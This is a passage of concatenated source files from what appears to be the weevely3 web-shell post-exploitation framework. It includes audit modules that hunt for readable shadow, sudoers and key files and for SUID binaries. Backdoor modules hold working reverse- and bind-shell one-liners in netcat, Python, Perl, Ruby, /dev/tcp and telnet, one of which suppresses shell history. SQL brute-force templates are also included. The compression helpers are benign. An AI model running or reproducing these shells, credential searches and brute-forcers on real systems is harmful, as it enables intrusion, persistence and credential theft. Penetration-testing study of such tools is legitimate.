result if r): return result def check_spool_crons(self): """Search writable files in /var/spool/cron/ folder""" result = ModuleExec("file_find", [ '-writable', '/var/spool/cron/' ] ).run() if result and any(r for r in result if r): return result def check_home_executable(self): """Search executable files in /home/ folder""" result = ModuleExec("file_find", [ '-no-recursion', '-executable', '/home/' ] ).run() if result and any(r for r in result if r): return result def check_readable_etc(self): """Search certain readable files in etc folder""" readable_files = ModuleExec("file_find", [ '-readable', '/etc/' ] ).run() files_paths = [ 'shadow', 'ap-secrets', 'mysql/debian.cnf', 'sa_key$', 'keys', '\.gpg', 'sudoers' ] return [ f for f in readable_files if f and any(p for p in files_paths if p and p in f)] def check_readable_logs(self): """Search certain readable log files""" readable_files = ModuleExec("file_find", [ '-readable', '/var/log/' ] ).run() files_paths = [ 'lastlog', 'dpkg', 'Xorg', 'wtmp', 'pm', 'alternatives', 'udev', 'boot' ] return [ f for f in readable_files if f and not f.endswith('gz') and not f.endswith('old') and any(p for p in files_paths if p and p in f)] def run(self, **kwargs): results = {} for func_name in [ # Execute every function starting with check_* fn for fn in self.check_functions # if the user does not specify any name if not self.args.get('check') # of if specify the current function name or self.args.get('check') == fn ]: function = getattr(self, func_name) log.warn(function.__doc__) result = function() if result: log.info('\n'.join(result)) results.update({ func_name : result }) return results def print_result(self, result): pass epinna-weevely3-445bd88/modules/audit/phpconf.py000066400000000000000000000145141444353330400216660ustar00rootroot00000000000000from core.vectors import PhpCode, ModuleExec from core.module import Module from core import messages import re class Phpconf(Module): """Audit PHP configuration.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) def _check_user(self): user = ModuleExec('system_info', ['-info', 'whoami']).load_result_or_run('whoami') if not user: return messages.module_audit_phpconf.error result = user if 'win' in self.os_type: result += ': ' + messages.module_audit_phpconf.user_win_admin elif user == 'root': result += ': ' + messages.module_audit_phpconf.user_nix_root return result def _check_openbasedir(self): open_basedir = ModuleExec('system_info', ['-info', 'open_basedir']).load_result_or_run('open_basedir') if not open_basedir: return messages.module_audit_phpconf.basedir_unrestricted dir_sep = ModuleExec('system_info', ['-info', 'dir_sep']).load_result_or_run('dir_sep') if not self.os_type or not dir_sep: return messages.module_audit_phpconf.error path_sep = ';' if 'win' in self.os_type else ':' paths = open_basedir.split(path_sep) result = '' for path in paths: result += path + ': ' if not path.endswith(dir_sep): result += ' ' + messages.module_audit_phpconf.basedir_no_slash elif path == '.': result += ' ' + messages.module_audit_phpconf.basedir_dot result += '\n' return result[:-1] def _check_features(self): features = [ 'expose_php', 'file_uploads', 'register_globals', 'allow_url_fopen', 'display_errors', 'enable_dl', 'safe_mode', 'magic_quotes_gpc', 'allow_url_include', 'session.use_trans_sid' ] feat_found = PhpCode( """foreach ( Array("${ '", "'.join(features) }") as $f) if((bool)ini_get($f)) print($f. "\n");""" ).run({ 'features': features }) result = [] if feat_found: for feat in feat_found.split('\n'): feat_msg = 'feat_' + re.sub('[^a-zA-Z_]', '_', feat) if hasattr(messages.module_audit_phpconf, feat_msg): result.append((feat, getattr(messages.module_audit_phpconf, feat_msg))) return result def _check_classes(self): classes = [ 'splFileObject', 'COM', 'Java' ] class_found = PhpCode( """foreach ( Array("${ '", "'.join(classes) }") as $f) if((bool)class_exists($f)) print($f. "\n");""" ).run({ 'classes': classes }) result = [] if class_found: for class_name in class_found.split('\n'): class_msg = 'class_' + re.sub('[^a-zA-Z_]', '_', class_name) if hasattr(messages.module_audit_phpconf, class_msg): result.append((class_name, getattr(messages.module_audit_phpconf, class_msg))) return result def _check_functions(self): functions = { 'info': [ 'apache_get_modules', 'apache_get_version', 'apache_getenv', 'get_loaded_extensions', 'phpinfo', 'phpversion', ], 'files': [ 'chgrp', 'chmod', 'chown', 'copy', 'link', 'mkdir', 'rename', 'rmdir', 'symlink', 'touch', 'unlink', 'posix_mkfifo' ], 'log': [ 'openlog', 'syslog', 'debugger_off', 'debugger_on', 'closelog' ], 'proc_execution': [ 'exec', 'passthru', 'pcntl_exec', 'popen', 'proc_open', 'shell_exec', 'system', 'dotnet_load' ], 'proc_manipulation': [ 'apache_child_terminate', 'apache_note', 'apache_setenv', 'dl', 'proc_close', 'proc_get_status', 'proc_terminate', 'proc_nice', 'putenv', 'virtual', 'posix_kill', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'runkit_function_rename' ] } result = [] for ftype, flist in functions.items(): func_found = PhpCode(( "foreach ( Array(\"${ '\", \"'.join(functions) }\") as $f) " + "if(function_exists($f)&&is_callable($f)) print($f. \"\\n\");" )).run({ 'functions': flist }) if func_found: for func_name in func_found.split('\n'): type_msg = 'func_' + re.sub('[^a-zA-Z_]', '_', ftype) if hasattr(messages.module_audit_phpconf, type_msg): msg = getattr(messages.module_audit_phpconf, type_msg) if len(func_name) == 0: msg = '' result.append((func_name, msg)) return result def run(self, **kwargs): self.os_type = ModuleExec('system_info', ['-info', 'os']).load_result_or_run('os') self.php_version = ModuleExec('system_info', ['-info', 'php_version']).load_result_or_run('php_version') results = [ ('Operating System', self.os_type if self.os_type else 'Undetected'), ('PHP version', self.php_version if self.php_version else 'Undetected'), ('User', self._check_user()), ('open_basedir', self._check_openbasedir()) ] + self._check_features() + self._check_classes() + self._check_functions() return results epinna-weevely3-445bd88/modules/audit/suidsgid.py000066400000000000000000000021251444353330400220370ustar00rootroot00000000000000from core.vectors import ShellCmd from core.module import Module class Suidsgid(Module): """Find files with SUID or SGID flags.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote starting path', 'default' : '/' }, { 'name' : '-only-suid', 'help' : 'Find only suid', 'action' : 'store_true', 'default' : False }, { 'name' : '-only-sgid', 'help' : 'Find only sgid', 'action' : 'store_true', 'default' : False }, ]) def run(self, **kwargs): result = ShellCmd( payload = """find ${rpath} -type f ${ '-perm -04000' if not only_sgid else '' } ${ '-o' if not only_suid and not only_sgid else '' } ${ '-perm -02000' if not only_suid else '' }""", arguments = [ "-stderr_redirection", " 2>/dev/null", ]).run(self.args) if result: return result.split('\n') epinna-weevely3-445bd88/modules/backdoor/000077500000000000000000000000001444353330400203305ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/backdoor/__init__.py000066400000000000000000000000001444353330400224270ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/backdoor/_reversetcp/000077500000000000000000000000001444353330400226515ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/backdoor/_reversetcp/__init__.py000066400000000000000000000000001444353330400247500ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/backdoor/_reversetcp/tcpserver.py000066400000000000000000000046321444353330400252450ustar00rootroot00000000000000from core import messages from core.loggers import log import socket import sys import select class TcpServer: def __init__(self, port): self.connect = False self.hostname = '0.0.0.0' self.port = port self.socket_state = False self.socket = None self.connect_socket() if not self.socket: return self.forward_data() def connect_socket(self): if(self.connect): self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.hostname, self.port)) else: server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1) except socket.error: #log.debug("Warning: unable to set TCP_NODELAY...") pass try: server.bind(('0.0.0.0', self.port)) except socket.error as e: log.error(messages.module_backdoor_reversetcp.error_binding_socket_s % str(e)) return server.listen(1) server.settimeout(3) try: self.socket, address = server.accept() except socket.timeout as e: server.close() raise def forward_data(self): log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected) self.socket.setblocking(0) while(1): read_ready, write_ready, in_error = select.select( [self.socket, sys.stdin], [], [self.socket, sys.stdin]) try: buf = self.socket.recv(100) while(buf != ''): self.socket_state = True sys.stdout.write(buf.decode('utf-8', 'replace')) sys.stdout.flush() buf = self.socket.recv(100) if(buf == ''): return except socket.error: pass while(1): r, w, e = select.select([sys.stdin], [], [], 0) if(len(r) == 0): break c = sys.stdin.read(1) if(c == ''): return if(self.socket.sendall(c.encode('utf-8')) != None): return epinna-weevely3-445bd88/modules/backdoor/reversetcp.py000066400000000000000000000105561444353330400230730ustar00rootroot00000000000000from core.vectors import PythonCode, ShellCmd, Os from modules.backdoor._reversetcp.tcpserver import TcpServer from core.module import Module from core.loggers import log from core import messages import socket class Reversetcp(Module): """Execute a reverse TCP shell.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ ShellCmd( """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc ${lhost} ${port} >/tmp/f""", name='netcat_bsd', target=Os.NIX, background=True ), ShellCmd( "sleep 1; nc -e ${shell} ${lhost} ${port}", name='netcat', target=Os.NIX, background=True ), PythonCode( """ import socket,subprocess,os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("${lhost}", ${port})) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["${shell}", "-i"]) """, name='python', target=Os.NIX, background=True ), ShellCmd( "sleep 1; /bin/bash -c \'${shell} 0&0 2>&0\'", name='devtcp', target=Os.NIX, background=True ), ShellCmd( """perl -e 'use Socket;$i="${lhost}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("${shell} -i");};'""", name='perl', target=Os.NIX, background=True ), ShellCmd( """ruby -rsocket -e'f=TCPSocket.open("${lhost}",${port}).to_i;exec sprintf("${shell} -i <&%d >&%d 2>&%d",f,f,f)'""", name='ruby', target=Os.NIX, background=True ), ShellCmd( """sleep 1;rm -rf /tmp/backpipe;mknod /tmp/backpipe p;telnet ${lhost} ${port} 0/tmp/backpipe""", name='telnet', target=Os.NIX, background=True ), PythonCode( """ import socket,pty,os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("${lhost}", ${port})) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) pty.spawn("${shell}") """, name='python_pty', target=Os.NIX, background=True ) ] ) self.register_arguments([ {'name': 'lhost', 'help': 'Local host'}, {'name': 'port', 'help': 'Port to spawn', 'type': int}, {'name': '-shell', 'help': 'Specify shell', 'default': '/bin/sh'}, {'name': '-no-autoconnect', 'help': 'Skip autoconnect', 'action': 'store_true', 'default': False}, {'name': '-vector', 'choices': self.vectors.get_names()} ]) def run(self, **kwargs): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if self.args.get('vector') and self.args.get('vector') != vector.name: continue # Background run does not return results vector.run(self.args) # If set, skip autoconnect if self.args.get('no_autoconnect'): continue # Run tcp server for the vector try: tcpserver = TcpServer(self.args['port']) except socket.timeout as e: log.debug(messages.module_backdoor_reversetcp.error_timeout) continue epinna-weevely3-445bd88/modules/backdoor/tcp.py000066400000000000000000000101111444353330400214620ustar00rootroot00000000000000from core.vectors import PythonCode, ShellCmd, Os from core.module import Module from core.loggers import log from core import messages import urllib.parse import telnetlib import time class Tcp(Module): """Spawn a shell on a TCP port.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ ShellCmd( "nc -l -p ${port} -e ${shell}", name = 'netcat', target = Os.NIX, background = True ), ShellCmd( "rm -rf /tmp/.f;mkfifo /tmp/.f&&cat /tmp/.f|${shell} -i 2>&1|nc -l ${port} >/tmp/.f; rm -rf /tmp/.f", name = 'nc.bsd', target = Os.NIX, background = True ), PythonCode( """ import pty,os,sys,socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(("", ${port})) s.listen(1) (c, addr) = s.accept() with c: os.dup2(c.fileno(),0) os.dup2(c.fileno(),1) os.dup2(c.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("${shell}") c.close() except Exception: s.close()""", name = 'py.pty', target = Os.NIX, background = True ), ShellCmd( """socat tcp-l:${port},reuseaddr,fork exec:'${shell}',pty,stderr,sane""", name = 'socat', target = Os.NIX, background = True ) ] ) self.register_arguments([ { 'name' : 'port', 'help' : 'Port to spawn', 'type' : int }, { 'name' : '-shell', 'help' : 'Specify shell', 'default' : '/bin/sh' }, { 'name' : '-no-autoconnect', 'help' : 'Skip autoconnect', 'action' : 'store_true', 'default' : False }, { 'name' : '-vector', 'choices' : self.vectors.get_names() } ]) def run(self): # Run all the vectors for vector in self.vectors: # Skip vector if -vector is specified but does not match if self.args.get('vector') and self.args.get('vector') != vector.name: continue # Background run does not return results vector.run(self.args) # If set, skip autoconnect if self.args.get('no_autoconnect'): continue # Give some time to spawn the shell time.sleep(1) urlparsed = urllib.parse.urlparse(self.session['url']) if not urlparsed.hostname: log.debug( messages.module_backdoor_tcp.error_parsing_connect_s % self.args['port'] ) continue try: telnetlib.Telnet(urlparsed.hostname, self.args['port'], timeout = 5).interact() # If telnetlib does not rise an exception, we can assume that # ended correctly and return from `run()` return except Exception as e: log.debug( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], e ) ) # If autoconnect was expected but Telnet() calls worked, # prints error message if not self.args.get('no_autoconnect'): log.warn( messages.module_backdoor_tcp.error_connecting_to_s_s_s % ( urlparsed.hostname, self.args['port'], 'remote port not open or unreachable' ) ) epinna-weevely3-445bd88/modules/bruteforce/000077500000000000000000000000001444353330400207045ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/bruteforce/__init__.py000066400000000000000000000000001444353330400230030ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/bruteforce/_sql/000077500000000000000000000000001444353330400216425ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/bruteforce/_sql/mysql.tpl000066400000000000000000000006451444353330400235350ustar00rootroot00000000000000<%! import json %> ini_set('mysql.connect_timeout',1); $users=array ( % for u in users: ${ json.dumps(u) }, % endfor ); $pwds=array ( % for p in pwds: ${ json.dumps(p) }, % endfor ); foreach($users as $u) { foreach($pwds as $p) { $c=@mysqli_connect("${ hostname }", "$u", "$p"); if($c){ print("$u:$p".PHP_EOL); break; } } }mysqli_close(); epinna-weevely3-445bd88/modules/bruteforce/_sql/pgsql.tpl000066400000000000000000000006401444353330400235110ustar00rootroot00000000000000<%! import json %> $users=array ( % for u in users: ${ json.dumps(u) }, % endfor ); $pwds=array ( % for p in pwds: ${ json.dumps(p) }, % endfor ); foreach($users as $u) { foreach($pwds as $p) { $c=@pg_connect("host=${ hostname } user=$u password=$p connect_timeout=1"); if($c){ print("$u:$p".PHP_EOL); break; } } }pg_close(); epinna-weevely3-445bd88/modules/bruteforce/sql.py000066400000000000000000000045231444353330400220610ustar00rootroot00000000000000from core.vectors import PhpFile from core.module import Module from core import modules from core import messages from core.loggers import log import os class Sql(Module): """Bruteforce SQL database.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'mysql.tpl'), name = 'mysql', ), PhpFile( payload_path = os.path.join(self.folder, 'pgsql.tpl'), name = 'pgsql', ) ] ) self.register_arguments([ { 'name' : 'service', 'help' : 'Service to bruteforce', 'choices' : self.vectors.get_names() }, { 'name' : '-hostname', 'help' : 'Hostname', 'default' : 'localhost' }, { 'name' : '-users', 'help' : 'Users', 'nargs' : '*', 'default': [] }, { 'name' : '-pwds', 'help' : 'Passwords', 'nargs' : '*', 'default': [] }, { 'name' : '-fusers', 'help' : 'Local file path containing users list' }, { 'name' : '-fpwds', 'help' : 'Local file path containing password list' } ]) def run(self, **kwargs): self.args['users'] = self.args.get('users', []) if self.args.get('fusers'): try: self.args['users'] += open(self.args['fusers'], 'r').read().split(os.linesep) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (self.args['fusers'], str(e))) return self.args['pwds'] = self.args.get('pwds', []) if self.args.get('fpwds'): try: self.args['pwds'] += open(self.args['fpwds'], 'r').read().split(os.linesep) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (self.args['fpwds'], str(e))) return if not self.args['users'] or not self.args['pwds']: log.error('Error, no users or passwords loaded') return return self.vectors.get_result( name = self.args['service'], format_args = self.args ) epinna-weevely3-445bd88/modules/file/000077500000000000000000000000001444353330400174635ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/__init__.py000066400000000000000000000000001444353330400215620ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_bzip2/000077500000000000000000000000001444353330400206505ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_bzip2/EasyBzip2.class.php000066400000000000000000000037161444353330400243040ustar00rootroot00000000000000/**------------------------------------------------- | EasyBzip2.class V0.8 - by Alban LOPEZ | Copyright (c) 2007 Alban LOPEZ | Email bugs/suggestions to alban.lopez+eazybzip2@gmail.com +-------------------------------------------------- | This file is part of EasyArchive.class V0.9. | EasyArchive is free software: you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation, either version 3 of the License, or | (at your option) any later version. | EasyArchive is distributed in the hope that it will be useful, | but WITHOUT ANY WARRANTY; without even the implied warranty of | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | See the GNU General Public License for more details on http://www.gnu.org/licenses/ +-------------------------------------------------- http://www.phpclasses.org/browse/package/4239.html **/ class bzip2 { /** // You can use this class like that. $test = new bzip2; $test->makeBzip2('./','./toto.bzip2'); var_export($test->infosBzip2('./toto.bzip2')); $test->extractBzip2('./toto.bzip2', './new/'); **/ function makeBzip2($src, $dest=false) { // Adjusted to use $src just as file path instead of data source $Bzip2 = bzcompress(file_get_contents ($src), 6); if (empty($dest)) return $Bzip2; elseif (file_put_contents($dest, $Bzip2)) return $dest; return false; } function infosBzip2 ($src, $data=true) { $data = $this->extractBzip2 ($src); $content = array( 'UnCompSize'=>strlen($data), 'Size'=>filesize($src), 'Ratio'=>strlen($data) ? round(100 - filesize($src) / strlen($data)*100, 1) : false,); if ($data) $content['Data'] = $data; return $content; } function extractBzip2($src, $dest=false) { $bz = bzopen($src, "r"); $data = ''; while (!feof($bz)) $data .= bzread($bz, 1024*1024); bzclose($bz); if (empty($dest)) return $data; elseif (file_put_contents($dest, $data)) return $dest; return false; } } epinna-weevely3-445bd88/modules/file/_bzip2/php_bzip2.tpl000066400000000000000000000022351444353330400232700ustar00rootroot00000000000000<%include file="EasyBzip2.class.php"/> $f='set_time_limit'&&is_callable($f)&&$f(0); $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); $a = new bzip2; $fs=array ( % for f in rpaths: '${ f }', % endfor ); foreach($fs as $f) { if(!file_exists($f) || !is_readable($f)) { print("Skipping file '$f', check existance and permission"); } else { ## Here decompress % if decompress: $ext = pathinfo($f, PATHINFO_EXTENSION); if(!preg_match('/t?bz2?$/', $ext)) { print("Unknown suffix, skipping decompressing"); } else { $nf = substr($f, 0, -strlen($ext)-1); if(file_exists($nf)) { print("File '$nf' already exists, skipping decompressing"); } else { $a->extractBzip2($f, $nf); % if not keep: if(file_exists($nf)) unlink($f); %endif } } ## Here compress % else: if(file_exists($f.'.bz2')) { print("File '$f.bz2' already exists, skipping compressing"); } else { $a->makeBzip2($f, $f.'.bz2'); % if not keep: if(file_exists($f.'.bz2')) unlink($f); %endif } % endif } } epinna-weevely3-445bd88/modules/file/_find/000077500000000000000000000000001444353330400205425ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_find/bfs_walker.tpl000066400000000000000000000041741444353330400234100ustar00rootroot00000000000000function chk($filename, $search, $case, $ftype, $perms) { return ( file_exists($filename)&& (!$search||preg_match("/$search/$case",$filename))&& (strstr($perms,"w")===FALSE||is_writable($filename))&& (strstr($perms,"x")===FALSE||is_executable($filename))&& (strstr($perms,"r")===FALSE||is_readable($filename))&& (strstr($ftype,"f")===FALSE||is_file($filename))&& (strstr($ftype,"d")===FALSE||is_dir($filename)) ); } function src($path, $search, $case, $stop, $ftype, $perms, $no_recurs) { /* Print starting path if matches, like posix find */ if (chk($path, $search, $case, $ftype, $perms)) { echo "$path" . PHP_EOL; if ($stop) return; } if (substr($path, -1) !== DIRECTORY_SEPARATOR) $path .= DIRECTORY_SEPARATOR; $queue = array($path => 1); $done = array(); while(!empty($queue)) { /* get one element from the queue */ foreach($queue as $path => $unused) { unset($queue[$path]); $done[$path] = null; break; } unset($unused); $dh = @opendir($path); if (!$dh) continue; while(($filename = readdir($dh)) !== false) { /* dont recurse back up levels */ if ($filename == '.' || $filename == '..') continue; /* get the full path */ $filename = $path . $filename; /* check if the filename matches the search term */ if (chk($filename, $search, $case, $ftype, $perms)) { echo "$filename" . PHP_EOL; if ($stop) return; } /* queue directories for later search */ if (is_dir($filename)) { /* ensure the path has a trailing slash */ if (substr($filename, -1) !== DIRECTORY_SEPARATOR) $filename .= DIRECTORY_SEPARATOR; /* check if we have already queued this path, or have done it */ if ($no_recurs || array_key_exists($filename, $queue) || array_key_exists($filename, $done)) continue; /* queue the file */ $queue[$filename] = null; } } closedir($dh); } } src('${rpath}', '${ expression if expression else '' }', '${'i' if not case else ''}', ${quit}, '${ ftype if ftype == 'd' or ftype == 'f' else '' }','${ '%s%s%s' % (('w' if writable else ''), ('r' if readable else ''), ('x' if executable else '') ) }', ${no_recursion}); epinna-weevely3-445bd88/modules/file/_gzip/000077500000000000000000000000001444353330400205735ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_gzip/EasyGzip.class.php000066400000000000000000000037021444353330400241450ustar00rootroot00000000000000/**------------------------------------------------- | EasyGzip.class V0.8 - by Alban LOPEZ | Copyright (c) 2007 Alban LOPEZ | Email bugs/suggestions to alban.lopez+easygzip@gmail.com +-------------------------------------------------- | This file is part of EasyArchive.class V0.9. | EasyArchive is free software: you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation, either version 3 of the License, or | (at your option) any later version. | EasyArchive is distributed in the hope that it will be useful, | but WITHOUT ANY WARRANTY; without even the implied warranty of | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | See the GNU General Public License for more details on http://www.gnu.org/licenses/ +-------------------------------------------------- http://www.phpclasses.org/browse/package/4239.html **/ class gzip { /** // You can use this class like that. $test = new gzip; $test->makeGzip('./','./toto.gzip'); var_export($test->infosGzip('./toto.gzip')); $test->extractGzip('./toto.gzip', './new/'); **/ function makeGzip($src, $dest=false) { // Adjusted to use $src just as file path instead of data source $Gzip = gzencode(file_get_contents ($src), 6); if (empty($dest)) return $Gzip; elseif (file_put_contents($dest, $Gzip)) return $dest; return false; } function infosGzip ($src, $data=true) { $data = $this->extractGzip ($src); $content = array( 'UnCompSize'=>strlen($data), 'Size'=>filesize($src), 'Ratio'=>strlen($data) ? round(100 - filesize($src) / strlen($data)*100, 1) : false,); if ($data) $content['Data'] = $data; return $content; } function extractGzip ($src, $dest=false) { $zp = gzopen( $src, "r" ); $data = ''; while (!gzeof($zp)) $data .= gzread($zp, 1024*1024); gzclose( $zp ); if (empty($dest)) return $data; elseif (file_put_contents($dest, $data)) return $dest; return false; } } epinna-weevely3-445bd88/modules/file/_gzip/php_gzip.tpl000066400000000000000000000022231444353330400231330ustar00rootroot00000000000000<%include file="EasyGzip.class.php"/> $f='set_time_limit'&&is_callable($f)&&$f(0); $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); $a = new gzip; $fs=array ( % for f in rpaths: '${ f }', % endfor ); foreach($fs as $f) { if(!file_exists($f) || !is_readable($f)) { print("Skipping file '$f', check existance and permission"); } else { ## Here decompress % if decompress: $ext = pathinfo($f, PATHINFO_EXTENSION); if(!preg_match('/t?gz$/', $ext)) { print("Unknown suffix, skipping decompressing"); } else { $nf = substr($f, 0, -strlen($ext)-1); if(file_exists($nf)) { print("File '$nf' already exists, skipping decompressing"); } else { $a->extractGzip($f, $nf); % if not keep: if(file_exists($nf)) unlink($f); %endif } } ## Here compress % else: if(file_exists($f.'.gz')) { print("File '$f.gz' already exists, skipping compressing"); } else { $a->makeGzip($f, $f.'.gz'); % if not keep: if(file_exists($f.'.gz')) unlink($f); %endif } % endif } } epinna-weevely3-445bd88/modules/file/_tar/000077500000000000000000000000001444353330400204105ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_tar/php_tar.tpl000066400000000000000000000024711444353330400225720ustar00rootroot00000000000000<% overwrite_bool = 'true' if overwrite else 'false' %> $f='set_time_limit'&&is_callable($f)&&$f(0); $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); $r=dirname(Phar::running(false)).'/'; $n='${ rtar }'; try { $a = new PharData($n); % if decompress: if(!file_exists($n) || !is_readable($n)) { print("Skipping file '$n', check existance and permission"); } else { $o = '${ rfiles[0] if rfiles and rfiles[0] else '.' }'; $a->extractTo($o, null, ${ overwrite_bool }); } % else: if(file_exists($n) || !${ overwrite_bool }) { print("File '$n' already exists, skipping compressing"); } else { $b = dirname($n); function add($a, $b, $f) { $p = preg_replace("#^$b/#", '', $f); if (is_dir($f)) { $a->addEmptyDir($p); foreach(glob("$f/*") as $file) { add($a, $b, $file); } } else { $a->addFile($f, $p); } } % for f in rfiles: add($a, $b, '${ f }'); % endfor } ## Since makeTar does not complain for missing $n, just double ## check the existance of the zipped file and print generic error message if(!file_exists($n)) { print("File '$n' not created, check existance and permission"); } % endif }catch(Exception $e){ print("Skipping file '$n', check existance and permission"); } epinna-weevely3-445bd88/modules/file/_zip/000077500000000000000000000000001444353330400204245ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/file/_zip/EasyZip.class.php000066400000000000000000000057301444353330400236320ustar00rootroot00000000000000/**------------------------------------------------- | EasyZip.class V0.8 - by Alban LOPEZ | Copyright (c) 2007 Alban LOPEZ | Email bugs/suggestions to alban.lopez+easyzip@gmail.com +-------------------------------------------------- | This file is part of EasyArchive.class V0.9. | EasyArchive is free software: you can redistribute it and/or modify | it under the terms of the GNU General Public License as published by | the Free Software Foundation, either version 3 of the License, or | (at your option) any later version. | EasyArchive is distributed in the hope that it will be useful, | but WITHOUT ANY WARRANTY; without even the implied warranty of | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | See the GNU General Public License for more details on http://www.gnu.org/licenses/ +-------------------------------------------------- http://www.phpclasses.org/browse/package/4239.html **/ // I remove every reference to realpath(), due I prefer to store files // into the zip with the given relative path. class zip { /** // You can use this class like that. $test = new zip; $test->makeZip('./','./toto.zip'); var_export($test->infosZip('./toto.zip')); $test->extractZip('./toto.zip', './new/'); **/ function infosZip ($src, $data=true) { if (($zip = zip_open($src))) { while (($zip_entry = zip_read($zip))) { $path = zip_entry_name($zip_entry); if (zip_entry_open($zip, $zip_entry, "r")) { $content[$path] = array ( 'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false, 'Size' => zip_entry_compressedsize($zip_entry), 'UnCompSize' => zip_entry_filesize($zip_entry)); if ($data) $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); zip_entry_close($zip_entry); } else $content[$path] = false; } zip_close($zip); return $content; } return false; } function extractZip ($src, $dest) { $zip = new ZipArchive; if ($zip->open($src)===true) { $zip->extractTo($dest); $zip->close(); return true; } return false; } function makeZip ($src, $dest) { $zip = new ZipArchive; $src = is_array($src) ? $src : array($src); if ($zip->open($dest, ZipArchive::CREATE) === true) { foreach ($src as $item) { if (is_dir($item)) { $this->addZipItem($zip, dirname($item).'/', $item.'/'); } elseif(is_file($item)) { $zip->addFile($item, $item); } } $zip->close(); return true; } return false; } function addZipItem ($zip, $racine, $dir) { if (is_dir($dir)) { $zip->addEmptyDir(str_replace($racine, '', $dir)); $lst = scandir($dir); array_shift($lst); array_shift($lst); foreach ($lst as $item) { $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':'')); } } elseif (is_file($dir)) { $zip->addFile($dir, str_replace($racine, '', $dir)); } } } epinna-weevely3-445bd88/modules/file/_zip/php_zip.tpl000066400000000000000000000015351444353330400226220ustar00rootroot00000000000000<%include file="EasyZip.class.php"/> $f='set_time_limit'&&is_callable($f)&&$f(0); $f='ini_set'&&is_callable($f)&&$f('max_execution_time', 0); $a = new zip; $z = '${ rzip }'; $fs=array ( % for f in rfiles: '${ f }', % endfor ); ## Here decompress % if decompress: if(!file_exists($z) || !is_readable($z)) { print("Skipping file '$z', check existance and permission"); } else { $a->extractZip($z, '${ rfiles[0] if rfiles and rfiles[0] else '.' }'); } ## Here compress % else: if(file_exists($z)) { print("File '$z' already exists, skipping compressing"); } else { $a->makeZip($fs, $z); } ## Since makeZip does not complain for missing $z, just double ## check the existance of the zipped file and print generic error message if(!file_exists($z)) { print("File '$z' not created, check existance and permission"); } % endif epinna-weevely3-445bd88/modules/file/bzip2.py000066400000000000000000000025241444353330400210660ustar00rootroot00000000000000from core.vectors import PhpFile, ModuleExec from core.module import Module from core import messages from core import modules from core.loggers import log import os class Bzip2(Module): """Compress or expand bzip2 files.""" aliases = [ 'bzip2', 'bunzip2' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'php_bzip2.tpl'), name = 'php_bzip2', ) ] ) self.register_arguments([ { 'name' : 'rpaths', 'help' : 'Remote file paths', 'nargs' : '+' }, { 'name' : '--decompress', 'action' : 'store_true', 'default' : False, 'help' : 'Simulate gunzip' }, { 'name' : '--keep', 'action' : 'store_true', 'default' : False, 'help' : 'Keep (don\'t delete) input files' }, ]) def run(self, **kwargs): # The correct 